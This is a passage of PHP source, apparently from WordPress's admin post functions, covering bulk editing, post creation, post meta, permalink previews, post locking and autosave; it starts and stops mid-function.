( isset($post_data[$field]) && ( '' == $post_data[$field] || -1 == $post_data[$field] ) ) unset($post_data[$field]); } if ( isset($post_data['post_category']) ) { if ( is_array($post_data['post_category']) && ! empty($post_data['post_category']) ) $new_cats = array_map( 'absint', $post_data['post_category'] ); else unset($post_data['post_category']); } $tax_input = array(); if ( isset($post_data['tax_input'])) { foreach ( $post_data['tax_input'] as $tax_name => $terms ) { if ( empty($terms) ) continue; if ( is_taxonomy_hierarchical( $tax_name ) ) { $tax_input[ $tax_name ] = array_map( 'absint', $terms ); } else { $comma = _x( ',', 'tag delimiter' ); if ( ',' !== $comma ) $terms = str_replace( $comma, ',', $terms ); $tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) ); } } } if ( isset($post_data['post_parent']) && ($parent = (int) $post_data['post_parent']) ) { $pages = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'"); $children = array(); for ( $i = 0; $i < 50 && $parent > 0; $i++ ) { $children[] = $parent; foreach ( $pages as $page ) { if ( $page->ID == $parent ) { $parent = $page->post_parent; break; } } } } $updated = $skipped = $locked = array(); $shared_post_data = $post_data; foreach ( $post_IDs as $post_ID ) { // Start with fresh post data with each iteration. $post_data = $shared_post_data; $post_type_object = get_post_type_object( get_post_type( $post_ID ) ); if ( !isset( $post_type_object ) || ( isset($children) && in_array($post_ID, $children) ) || !current_user_can( 'edit_post', $post_ID ) ) { $skipped[] = $post_ID; continue; } if ( wp_check_post_lock( $post_ID ) ) { $locked[] = $post_ID; continue; } $post = get_post( $post_ID ); $tax_names = get_object_taxonomies( $post ); foreach ( $tax_names as $tax_name ) { $taxonomy_obj = get_taxonomy($tax_name); if ( isset( $tax_input[$tax_name]) && current_user_can( $taxonomy_obj->cap->assign_terms ) ) $new_terms = $tax_input[$tax_name]; else $new_terms = array(); if ( $taxonomy_obj->hierarchical ) $current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'ids') ); else $current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'names') ); $post_data['tax_input'][$tax_name] = array_merge( $current_terms, $new_terms ); } if ( isset($new_cats) && in_array( 'category', $tax_names ) ) { $cats = (array) wp_get_post_categories($post_ID); $post_data['post_category'] = array_unique( array_merge($cats, $new_cats) ); unset( $post_data['tax_input']['category'] ); } $post_data['post_ID'] = $post_ID; $post_data['post_type'] = $post->post_type; $post_data['post_mime_type'] = $post->post_mime_type; foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) { if ( ! isset( $post_data[ $field ] ) ) { $post_data[ $field ] = $post->$field; } } $post_data = _wp_translate_postdata( true, $post_data ); if ( is_wp_error( $post_data ) ) { $skipped[] = $post_ID; continue; } $post_data = _wp_get_allowed_postdata( $post_data ); $updated[] = wp_update_post( $post_data ); if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) { if ( 'sticky' == $post_data['sticky'] ) stick_post( $post_ID ); else unstick_post( $post_ID ); } if ( isset( $shared_post_data['post_format'] ) ) set_post_format( $post_ID, $shared_post_data['post_format'] ); } return array( 'updated' => $updated, 'skipped' => $skipped, 'locked' => $locked ); } /** * Default post information to use when populating the "Write Post" form. * * @since 2.0.0 * * @param string $post_type A post type string, defaults to 'post'. * @return WP_Post Post object containing all the default post data as attributes */ function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) { global $wpdb; $post_title = ''; if ( !empty( $_REQUEST['post_title'] ) ) $post_title = esc_html( wp_unslash( $_REQUEST['post_title'] )); $post_content = ''; if ( !empty( $_REQUEST['content'] ) ) $post_content = esc_html( wp_unslash( $_REQUEST['content'] )); $post_excerpt = ''; if ( !empty( $_REQUEST['excerpt'] ) ) $post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] )); if ( $create_in_db ) { $post_id = wp_insert_post( array( 'post_title' => __( 'Auto Draft' ), 'post_type' => $post_type, 'post_status' => 'auto-draft' ) ); $post = get_post( $post_id ); if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) ) set_post_format( $post, get_option( 'default_post_format' ) ); } else { $post = new stdClass; $post->ID = 0; $post->post_author = ''; $post->post_date = ''; $post->post_date_gmt = ''; $post->post_password = ''; $post->post_type = $post_type; $post->post_status = 'draft'; $post->to_ping = ''; $post->pinged = ''; $post->comment_status = get_option( 'default_comment_status' ); $post->ping_status = get_option( 'default_ping_status' ); $post->post_pingback = get_option( 'default_pingback_flag' ); $post->post_category = get_option( 'default_category' ); $post->page_template = 'default'; $post->post_parent = 0; $post->menu_order = 0; $post = new WP_Post( $post ); } /** * Filter the default post content initially used in the "Write Post" form. * * @since 1.5.0 * * @param string $post_content Default post content. * @param WP_Post $post Post object. */ $post->post_content = apply_filters( 'default_content', $post_content, $post ); /** * Filter the default post title initially used in the "Write Post" form. * * @since 1.5.0 * * @param string $post_title Default post title. * @param WP_Post $post Post object. */ $post->post_title = apply_filters( 'default_title', $post_title, $post ); /** * Filter the default post excerpt initially used in the "Write Post" form. * * @since 1.5.0 * * @param string $post_excerpt Default post excerpt. * @param WP_Post $post Post object. */ $post->post_excerpt = apply_filters( 'default_excerpt', $post_excerpt, $post ); $post->post_name = ''; return $post; } /** * Determine if a post exists based on title, content, and date * * @since 2.0.0 * * @param string $title Post title * @param string $content Optional post content * @param string $date Optional post date * @return int Post ID if post exists, 0 otherwise. */ function post_exists($title, $content = '', $date = '') { global $wpdb; $post_title = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) ); $post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) ); $post_date = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) ); $query = "SELECT ID FROM $wpdb->posts WHERE 1=1"; $args = array(); if ( !empty ( $date ) ) { $query .= ' AND post_date = %s'; $args[] = $post_date; } if ( !empty ( $title ) ) { $query .= ' AND post_title = %s'; $args[] = $post_title; } if ( !empty ( $content ) ) { $query .= 'AND post_content = %s'; $args[] = $post_content; } if ( !empty ( $args ) ) return (int) $wpdb->get_var( $wpdb->prepare($query, $args) ); return 0; } /** * Creates a new post from the "Write Post" form using $_POST information. * * @since 2.1.0 * * @return unknown */ function wp_write_post() { if ( isset($_POST['post_type']) ) $ptype = get_post_type_object($_POST['post_type']); else $ptype = get_post_type_object('post'); if ( !current_user_can( $ptype->cap->edit_posts ) ) { if ( 'page' == $ptype->name ) return new WP_Error( 'edit_pages', __( 'You are not allowed to create pages on this site.' ) ); else return new WP_Error( 'edit_posts', __( 'You are not allowed to create posts or drafts on this site.' ) ); } $_POST['post_mime_type'] = ''; // Clear out any data in internal vars. unset( $_POST['filter'] ); // Edit don't write if we have a post id. if ( isset( $_POST['post_ID'] ) ) return edit_post(); if ( isset($_POST['visibility']) ) { switch ( $_POST['visibility'] ) { case 'public' : $_POST['post_password'] = ''; break; case 'password' : unset( $_POST['sticky'] ); break; case 'private' : $_POST['post_status'] = 'private'; $_POST['post_password'] = ''; unset( $_POST['sticky'] ); break; } } $translated = _wp_translate_postdata( false ); if ( is_wp_error($translated) ) return $translated; $translated = _wp_get_allowed_postdata( $translated ); // Create the post. $post_ID = wp_insert_post( $translated ); if ( is_wp_error( $post_ID ) ) return $post_ID; if ( empty($post_ID) ) return 0; add_meta( $post_ID ); add_post_meta( $post_ID, '_edit_last', $GLOBALS['current_user']->ID ); // Now that we have an ID we can fix any attachment anchor hrefs _fix_attachment_links( $post_ID ); wp_set_post_lock( $post_ID ); return $post_ID; } /** * Calls wp_write_post() and handles the errors. * * @since 2.0.0 * @uses wp_write_post() * @uses is_wp_error() * @uses wp_die() * @return unknown */ function write_post() { $result = wp_write_post(); if ( is_wp_error( $result ) ) wp_die( $result->get_error_message() ); else return $result; } // // Post Meta // /** * {@internal Missing Short Description}} * * @since 1.2.0 * * @param unknown_type $post_ID * @return unknown */ function add_meta( $post_ID ) { global $wpdb; $post_ID = (int) $post_ID; $metakeyselect = isset($_POST['metakeyselect']) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : ''; $metakeyinput = isset($_POST['metakeyinput']) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : ''; $metavalue = isset($_POST['metavalue']) ? $_POST['metavalue'] : ''; if ( is_string( $metavalue ) ) $metavalue = trim( $metavalue ); if ( ('0' === $metavalue || ! empty ( $metavalue ) ) && ( ( ( '#NONE#' != $metakeyselect ) && !empty ( $metakeyselect) ) || !empty ( $metakeyinput ) ) ) { // We have a key/value pair. If both the select and the // input for the key have data, the input takes precedence: if ( '#NONE#' != $metakeyselect ) $metakey = $metakeyselect; if ( $metakeyinput ) $metakey = $metakeyinput; // default if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) ) return false; $metakey = wp_slash( $metakey ); return add_post_meta( $post_ID, $metakey, $metavalue ); } return false; } // add_meta /** * {@internal Missing Short Description}} * * @since 1.2.0 * * @param unknown_type $mid * @return unknown */ function delete_meta( $mid ) { return delete_metadata_by_mid( 'post' , $mid ); } /** * Get a list of previously defined keys. * * @since 1.2.0 * * @return unknown */ function get_meta_keys() { global $wpdb; $keys = $wpdb->get_col( " SELECT meta_key FROM $wpdb->postmeta GROUP BY meta_key ORDER BY meta_key" ); return $keys; } /** * {@internal Missing Short Description}} * * @since 2.1.0 * * @param unknown_type $mid * @return unknown */ function get_post_meta_by_id( $mid ) { return get_metadata_by_mid( 'post', $mid ); } /** * {@internal Missing Short Description}} * * Some postmeta stuff. * * @since 1.2.0 * * @param unknown_type $postid * @return unknown */ function has_meta( $postid ) { global $wpdb; return $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value, meta_id, post_id FROM $wpdb->postmeta WHERE post_id = %d ORDER BY meta_key,meta_id", $postid), ARRAY_A ); } /** * {@internal Missing Short Description}} * * @since 1.2.0 * * @param unknown_type $meta_id * @param unknown_type $meta_key Expect Slashed * @param unknown_type $meta_value Expect Slashed * @return unknown */ function update_meta( $meta_id, $meta_key, $meta_value ) { $meta_key = wp_unslash( $meta_key ); $meta_value = wp_unslash( $meta_value ); return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key ); } // // Private // /** * Replace hrefs of attachment anchors with up-to-date permalinks. * * @since 2.3.0 * @access private * * @param int|object $post Post ID or post object. * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success. */ function _fix_attachment_links( $post ) { $post = get_post( $post, ARRAY_A ); $content = $post['post_content']; // Don't run if no pretty permalinks or post is not published, scheduled, or privately published. if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ) ) ) return; // Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero) if ( !strpos($content, '?attachment_id=') || !preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) ) return; $site_url = get_bloginfo('url'); $site_url = substr( $site_url, (int) strpos($site_url, '://') ); // remove the http(s) $replace = ''; foreach ( $link_matches[1] as $key => $value ) { if ( !strpos($value, '?attachment_id=') || !strpos($value, 'wp-att-') || !preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match ) || !preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) ) continue; $quote = $url_match[1]; // the quote (single or double) $url_id = (int) $url_match[2]; $rel_id = (int) $rel_match[1]; if ( !$url_id || !$rel_id || $url_id != $rel_id || strpos($url_match[0], $site_url) === false ) continue; $link = $link_matches[0][$key]; $replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link ); $content = str_replace( $link, $replace, $content ); } if ( $replace ) { $post['post_content'] = $content; // Escape data pulled from DB. $post = add_magic_quotes($post); return wp_update_post($post); } } /** * Get all the possible statuses for a post_type * * @since 2.5.0 * * @param string $type The post_type you want the statuses for * @return array As array of all the statuses for the supplied post type */ function get_available_post_statuses($type = 'post') { $stati = wp_count_posts($type); return array_keys(get_object_vars($stati)); } /** * Run the wp query to fetch the posts for listing on the edit posts page * * @since 2.5.0 * * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal. * @return array */ function wp_edit_posts_query( $q = false ) { if ( false === $q ) $q = $_GET; $q['m'] = isset($q['m']) ? (int) $q['m'] : 0; $q['cat'] = isset($q['cat']) ? (int) $q['cat'] : 0; $post_stati = get_post_stati(); if ( isset($q['post_type']) && in_array( $q['post_type'], get_post_types() ) ) $post_type = $q['post_type']; else $post_type = 'post'; $avail_post_stati = get_available_post_statuses($post_type); if ( isset($q['post_status']) && in_array( $q['post_status'], $post_stati ) ) { $post_status = $q['post_status']; $perm = 'readable'; } if ( isset($q['orderby']) ) $orderby = $q['orderby']; elseif ( isset($q['post_status']) && in_array($q['post_status'], array('pending', 'draft')) ) $orderby = 'modified'; if ( isset($q['order']) ) $order = $q['order']; elseif ( isset($q['post_status']) && 'pending' == $q['post_status'] ) $order = 'ASC'; $per_page = 'edit_' . $post_type . '_per_page'; $posts_per_page = (int) get_user_option( $per_page ); if ( empty( $posts_per_page ) || $posts_per_page < 1 ) $posts_per_page = 20; /** * Filter the number of items per page to show for a specific 'per_page' type. * * The dynamic hook name, $per_page, refers to a hook name comprised of the post type, * preceded by 'edit_', and succeeded by '_per_page', e.g. 'edit_$post_type_per_page'. * * Some examples of filter hooks generated here include: 'edit_attachment_per_page', * 'edit_post_per_page', 'edit_page_per_page', etc. * * @since 3.0.0 * * @param int $posts_per_page Number of posts to display per page for the given 'per_page' * type. Default 20. */ $posts_per_page = apply_filters( $per_page, $posts_per_page ); /** * Filter the number of posts displayed per page when specifically listing "posts". * * @since 2.8.0 * * @param int $per_page Number of posts to be displayed. Default 20. * @param string $post_type The post type. */ $posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type ); $query = compact('post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page'); // Hierarchical types require special args. if ( is_post_type_hierarchical( $post_type ) && !isset($orderby) ) { $query['orderby'] = 'menu_order title'; $query['order'] = 'asc'; $query['posts_per_page'] = -1; $query['posts_per_archive_page'] = -1; } if ( ! empty( $q['show_sticky'] ) ) $query['post__in'] = (array) get_option( 'sticky_posts' ); wp( $query ); return $avail_post_stati; } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param unknown_type $type * @return unknown */ function get_available_post_mime_types($type = 'attachment') { global $wpdb; $types = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type)); return $types; } /** * Executes a query for attachments. An array of WP_Query arguments * can be passed in, which will override the arguments set by this function. * * @since 2.5.0 * * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal. * @return array */ function wp_edit_attachments_query( $q = false ) { if ( false === $q ) $q = $_GET; $q['m'] = isset( $q['m'] ) ? (int) $q['m'] : 0; $q['cat'] = isset( $q['cat'] ) ? (int) $q['cat'] : 0; $q['post_type'] = 'attachment'; $post_type = get_post_type_object( 'attachment' ); $states = 'inherit'; if ( current_user_can( $post_type->cap->read_private_posts ) ) $states .= ',private'; $q['post_status'] = isset( $q['status'] ) && 'trash' == $q['status'] ? 'trash' : $states; $media_per_page = (int) get_user_option( 'upload_per_page' ); if ( empty( $media_per_page ) || $media_per_page < 1 ) $media_per_page = 20; /** * Filter the number of items to list per page when listing media items. * * @since 2.9.0 * * @param int $media_per_page Number of media to list. Default 20. */ $q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page ); $post_mime_types = get_post_mime_types(); $avail_post_mime_types = get_available_post_mime_types('attachment'); if ( isset($q['post_mime_type']) && !array_intersect( (array) $q['post_mime_type'], array_keys($post_mime_types) ) ) unset($q['post_mime_type']); if ( isset($q['detached']) ) $q['post_parent'] = 0; wp( $q ); return array($post_mime_types, $avail_post_mime_types); } /** * Returns the list of classes to be used by a metabox * * @uses get_user_option() * @since 2.5.0 * * @param unknown_type $id * @param unknown_type $page * @return unknown */ function postbox_classes( $id, $page ) { if ( isset( $_GET['edit'] ) && $_GET['edit'] == $id ) { $classes = array( '' ); } elseif ( $closed = get_user_option('closedpostboxes_'.$page ) ) { if ( !is_array( $closed ) ) { $classes = array( '' ); } else { $classes = in_array( $id, $closed ) ? array( 'closed' ) : array( '' ); } } else { $classes = array( '' ); } /** * Filter the postbox classes for a specific screen and screen ID combo. * * The dynamic portions of the hook name, $page, and $id, refer to * the screen, and screen ID, respectively. * * @since 3.2.0 * * @param array $classes An array of postbox classes. */ $classes = apply_filters( "postbox_classes_{$page}_{$id}", $classes ); return implode( ' ', $classes ); } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param int|object $id Post ID or post object. * @param string $title (optional) Title * @param string $name (optional) Name * @return array With two entries of type string */ function get_sample_permalink($id, $title = null, $name = null) { $post = get_post( $id ); if ( ! $post ) return array( '', '' ); $ptype = get_post_type_object($post->post_type); $original_status = $post->post_status; $original_date = $post->post_date; $original_name = $post->post_name; // Hack: get_permalink() would return ugly permalink for drafts, so we will fake that our post is published. if ( in_array( $post->post_status, array( 'draft', 'pending' ) ) ) { $post->post_status = 'publish'; $post->post_name = sanitize_title($post->post_name ? $post->post_name : $post->post_title, $post->ID); } // If the user wants to set a new name -- override the current one // Note: if empty name is supplied -- use the title instead, see #6072 if ( !is_null($name) ) $post->post_name = sanitize_title($name ? $name : $title, $post->ID); $post->post_name = wp_unique_post_slug($post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent); $post->filter = 'sample'; $permalink = get_permalink($post, true); // Replace custom post_type Token with generic pagename token for ease of use. $permalink = str_replace("%$post->post_type%", '%pagename%', $permalink); // Handle page hierarchy if ( $ptype->hierarchical ) { $uri = get_page_uri($post); $uri = untrailingslashit($uri); $uri = strrev( stristr( strrev( $uri ), '/' ) ); $uri = untrailingslashit($uri); /** This filter is documented in wp-admin/edit-tag-form.php */ $uri = apply_filters( 'editable_slug', $uri ); if ( !empty($uri) ) $uri .= '/'; $permalink = str_replace('%pagename%', "{$uri}%pagename%", $permalink); } /** This filter is documented in wp-admin/edit-tag-form.php */ $permalink = array( $permalink, apply_filters( 'editable_slug', $post->post_name ) ); $post->post_status = $original_status; $post->post_date = $original_date; $post->post_name = $original_name; unset($post->filter); return $permalink; } /** * Returns the HTML of the sample permalink slug editor. * * @since 2.5.0 * * @param int|object $id Post ID or post object. * @param string $new_title Optional. New title. * @param string $new_slug Optional. New slug. * @return string The HTML of the sample permalink slug editor. */ function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) { $post = get_post( $id ); if ( ! $post ) return ''; list($permalink, $post_name) = get_sample_permalink($post->ID, $new_title, $new_slug); if ( current_user_can( 'read_post', $post->ID ) ) { $ptype = get_post_type_object( $post->post_type ); $view_post = $ptype->labels->view_item; } if ( 'publish' == get_post_status( $post ) ) { $title = __('Click to edit this part of the permalink'); } else { $title = __('Temporary permalink. Click to edit this part.'); } if ( false === strpos($permalink, '%postname%') && false === strpos($permalink, '%pagename%') ) { $return = '<strong>' . __('Permalink:') . "</strong>\n" . '<span id="sample-permalink" tabindex="-1">' . esc_html( $permalink ) . "</span>\n"; if ( '' == get_option( 'permalink_structure' ) && current_user_can( 'manage_options' ) && !( 'page' == get_option('show_on_front') && $id == get_option('page_on_front') ) ) $return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small" target="_blank">' . __('Change Permalinks') . "</a></span>\n"; if ( isset( $view_post ) ) $return .= "<span id='view-post-btn'><a href='" . esc_url( $permalink ) . "' class='button button-small'>$view_post</a></span>\n"; /** * Filter the sample permalink HTML markup. * * @since 2.9.0 * * @param string $return Sample permalink HTML markup. * @param int|WP_Post $id Post object or ID. * @param string $new_title New sample permalink title. * @param string $new_slug New sample permalink slug. */ $return = apply_filters( 'get_sample_permalink_html', $return, $id, $new_title, $new_slug ); return $return; } if ( function_exists('mb_strlen') ) { if ( mb_strlen($post_name) > 30 ) { $post_name_abridged = mb_substr($post_name, 0, 14). '…' . mb_substr($post_name, -14); } else { $post_name_abridged = $post_name; } } else { if ( strlen($post_name) > 30 ) { $post_name_abridged = substr($post_name, 0, 14). '…' . substr($post_name, -14); } else { $post_name_abridged = $post_name; } } $post_name_html = '<span id="editable-post-name" title="' . $title . '">' . esc_html( $post_name_abridged ) . '</span>'; $display_link = str_replace(array('%pagename%','%postname%'), $post_name_html, esc_html( $permalink ) ); $view_link = str_replace(array('%pagename%','%postname%'), $post_name, esc_html( $permalink ) ); $return = '<strong>' . __('Permalink:') . "</strong>\n"; $return .= '<span id="sample-permalink" tabindex="-1">' . $display_link . "</span>\n"; $return .= '‎'; // Fix bi-directional text display defect in RTL languages. $return .= '<span id="edit-slug-buttons"><a href="#post_name" class="edit-slug button button-small hide-if-no-js" onclick="editPermalink(' . $id . '); return false;">' . __('Edit') . "</a></span>\n"; $return .= '<span id="editable-post-name-full">' . esc_html( $post_name ) . "</span>\n"; if ( isset( $view_post ) ) { $return .= "<span id='view-post-btn'><a href='" . esc_url( get_permalink( $post ) ) . "' class='button button-small'>$view_post</a></span>\n"; } /** This filter is documented in wp-admin/includes/post.php */ $return = apply_filters( 'get_sample_permalink_html', $return, $id, $new_title, $new_slug ); return $return; } /** * Output HTML for the post thumbnail meta-box. * * @since 2.9.0 * * @param int $thumbnail_id ID of the attachment used for thumbnail * @param mixed $post The post ID or object associated with the thumbnail, defaults to global $post. * @return string html */ function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) { global $content_width, $_wp_additional_image_sizes; $post = get_post( $post ); $upload_iframe_src = esc_url( get_upload_iframe_src('image', $post->ID ) ); $set_thumbnail_link = '<p class="hide-if-no-js"><a title="' . esc_attr__( 'Set featured image' ) . '" href="%s" id="set-post-thumbnail" class="thickbox">%s</a></p>'; $content = sprintf( $set_thumbnail_link, $upload_iframe_src, esc_html__( 'Set featured image' ) ); if ( $thumbnail_id && get_post( $thumbnail_id ) ) { $old_content_width = $content_width; $content_width = 266; if ( !isset( $_wp_additional_image_sizes['post-thumbnail'] ) ) $thumbnail_html = wp_get_attachment_image( $thumbnail_id, array( $content_width, $content_width ) ); else $thumbnail_html = wp_get_attachment_image( $thumbnail_id, 'post-thumbnail' ); if ( !empty( $thumbnail_html ) ) { $ajax_nonce = wp_create_nonce( 'set_post_thumbnail-' . $post->ID ); $content = sprintf( $set_thumbnail_link, $upload_iframe_src, $thumbnail_html ); $content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail" onclick="WPRemoveThumbnail(\'' . $ajax_nonce . '\');return false;">' . esc_html__( 'Remove featured image' ) . '</a></p>'; } $content_width = $old_content_width; } /** * Filter the admin post thumbnail HTML markup to return. * * @since 2.9.0 * * @param string $content Admin post thumbnail HTML markup. * @param int $post_id Post ID. */ return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID ); } /** * Check to see if the post is currently being edited by another user. * * @since 2.5.0 * * @param int $post_id ID of the post to check for editing * @return bool|int False: not locked or locked by current user. Int: user ID of user with lock. */ function wp_check_post_lock( $post_id ) { if ( !$post = get_post( $post_id ) ) return false; if ( !$lock = get_post_meta( $post->ID, '_edit_lock', true ) ) return false; $lock = explode( ':', $lock ); $time = $lock[0]; $user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true ); /** This filter is documented in wp-admin/includes/ajax-actions.php */ $time_window = apply_filters( 'wp_check_post_lock_window', 150 ); if ( $time && $time > time() - $time_window && $user != get_current_user_id() ) return $user; return false; } /** * Mark the post as currently being edited by the current user * * @since 2.5.0 * * @param int $post_id ID of the post to being edited * @return bool|array Returns false if the post doesn't exist of there is no current user, or * an array of the lock time and the user ID. */ function wp_set_post_lock( $post_id ) { if ( !$post = get_post( $post_id ) ) return false; if ( 0 == ($user_id = get_current_user_id()) ) return false; $now = time(); $lock = "$now:$user_id"; update_post_meta( $post->ID, '_edit_lock', $lock ); return array( $now, $user_id ); } /** * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post. * * @since 2.8.5 * @return none */ function _admin_notice_post_locked() { if ( ! $post = get_post() ) return; $user = null; if ( $user_id = wp_check_post_lock( $post->ID ) ) $user = get_userdata( $user_id ); if ( $user ) { /** * Filter whether to show the post locked dialog. * * Returning a falsey value to the filter will short-circuit displaying the dialog. * * @since 3.6.0 * * @param bool $display Whether to display the dialog. Default true. * @param WP_User|bool $user WP_User object on success, false otherwise. */ if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) ) return; $locked = true; } else { $locked = false; } if ( $locked && ( $sendback = wp_get_referer() ) && false === strpos( $sendback, 'post.php' ) && false === strpos( $sendback, 'post-new.php' ) ) { $sendback_text = __('Go back'); } else { $sendback = admin_url( 'edit.php' ); if ( 'post' != $post->post_type ) $sendback = add_query_arg( 'post_type', $post->post_type, $sendback ); $sendback_text = get_post_type_object( $post->post_type )->labels->all_items; } $hidden = $locked ? '' : ' hidden'; ?> <div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>"> <div class="notification-dialog-background"></div> <div class="notification-dialog"> <?php if ( $locked ) { if ( get_post_type_object( $post->post_type )->public ) { $preview_link = set_url_scheme( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) ); if ( 'publish' == $post->post_status || $user->ID != $post->post_author ) { // Latest content is in autosave $nonce = wp_create_nonce( 'post_preview_' . $post->ID ); $preview_link = add_query_arg( array( 'preview_id' => $post->ID, 'preview_nonce' => $nonce ), $preview_link ); } } else { $preview_link = ''; } /** This filter is documented in wp-admin/includes/meta-boxes.php */ $preview_link = apply_filters( 'preview_post_link', $preview_link ); /** * Filter whether to allow the post lock to be overridden. * * Returning a falsey value to the filter will disable the ability * to override the post lock. * * @since 3.6.0 * * @param bool $override Whether to allow overriding post locks. Default true. * @param WP_Post $post Post object. * @param WP_User $user User object. */ $override = apply_filters( 'override_post_lock', true, $post, $user ); $tab_last = $override ? '' : ' wp-tab-last'; ?> <div class="post-locked-message"> <div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div> <p class="currently-editing wp-tab-first" tabindex="0"> <?php _e( 'This content is currently locked.' ); if ( $override ) printf( ' ' . __( 'If you take over, %s will be blocked from continuing to edit.' ), esc_html( $user->display_name ) ); ?> </p> <?php /** * Fires inside the post locked dialog before the buttons are displayed. * * @since 3.6.0 * * @param WP_Post $post Post object. */ do_action( 'post_locked_dialog', $post ); ?> <p> <a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a> <?php if ( $preview_link ) { ?> <a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e('Preview'); ?></a> <?php } // Allow plugins to prevent some users overriding the post lock if ( $override ) { ?> <a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', wp_nonce_url( get_edit_post_link( $post->ID, 'url' ), 'lock-post_' . $post->ID ) ) ); ?>"><?php _e('Take over'); ?></a> <?php } ?> </p> </div> <?php } else { ?> <div class="post-taken-over"> <div class="post-locked-avatar"></div> <p class="wp-tab-first" tabindex="0"> <span class="currently-editing"></span><br> <span class="locked-saving hidden"><img src="images/wpspin_light-2x.gif" width="16" height="16" /> <?php _e('Saving revision...'); ?></span> <span class="locked-saved hidden"><?php _e('Your latest changes were saved as a revision.'); ?></span> </p> <?php /** * Fires inside the dialog displayed when a user has lost the post lock. * * @since 3.6.0 * * @param WP_Post $post Post object. */ do_action( 'post_lock_lost_dialog', $post ); ?> <p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p> </div> <?php } ?> </div> </div> <?php } /** * Creates autosave data for the specified post from $_POST data. * * @package WordPress * @subpackage Post_Revisions * @since 2.6.0 * * @uses _wp_translate_postdata() * @uses _wp_post_revision_fields() * * @param mixed $post_data Associative array containing the post data or int post ID. * @return mixed The autosave revision ID. WP_Error or 0 on error. */ function wp_create_post_autosave( $post_data ) { if ( is_numeric( $post_data ) ) { $post_id = $post_data; $post_data = &$_POST; } else { $post_id = (int) $post_data['post_ID']; } $post_data = _wp_translate_postdata( true, $post_data ); if ( is_wp_error( $post_data ) ) return $post_data; $post_data = _wp_get_allowed_postdata( $post_data ); $post_author = get_current_user_id(); // Store one autosave per author. If there is already an autosave, overwrite it. if ( $old_autosave = wp_get_post_autosave( $post_id, $post_author ) ) { $new_autosave = _wp_post_revision_fields( $post_data, true ); $new_autosave['ID'] = $old_autosave->ID; $new_autosave['post_author'] = $post_author; // If the new autosave has the same content as the post, delete the autosave. $post = get_post( $post_id ); $autosave_is_different = false; foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields() ) ) as $field ) { if ( normalize_whitespace( $new_autosave[ $field ] ) != normalize_whitespace( $post->$field ) ) { $autosave_is_different = true; break; } } if ( ! $autosave_is_different ) { wp_delete_post_revision( $old_autosave->ID ); return 0; } return wp_update_post( $new_autosave ); } // _wp_put_post_revision() expects unescaped. $post_data = wp_unslash( $post_data ); // Otherwise create the new autosave as a special post revision return _wp_put_post_revision( $post_data, true ); } /** * Save draft or manually autosave for showing preview. * * @package WordPress * @since 2.7.0 * * @uses get_post_status() * @uses edit_post() * @uses get_post() * @uses current_user_can() * @uses wp_die() * @uses wp_create_post_autosave() * @uses add_query_arg() * @uses wp_create_nonce() * * @return str URL to redirect to show the preview */ function post_preview() { $post_ID = (int) $_POST['post_ID']; $_POST['ID'] = $post_ID; if ( ! $post = get_post( $post_ID ) ) { wp_die( __( 'You are not allowed to edit this post.' ) ); } if ( ! current_user_can( 'edit_post', $post->ID ) ) { wp_die( __( 'You are not allowed to edit this post.' ) ); } $is_autosave = false; if ( ! wp_check_post_lock( 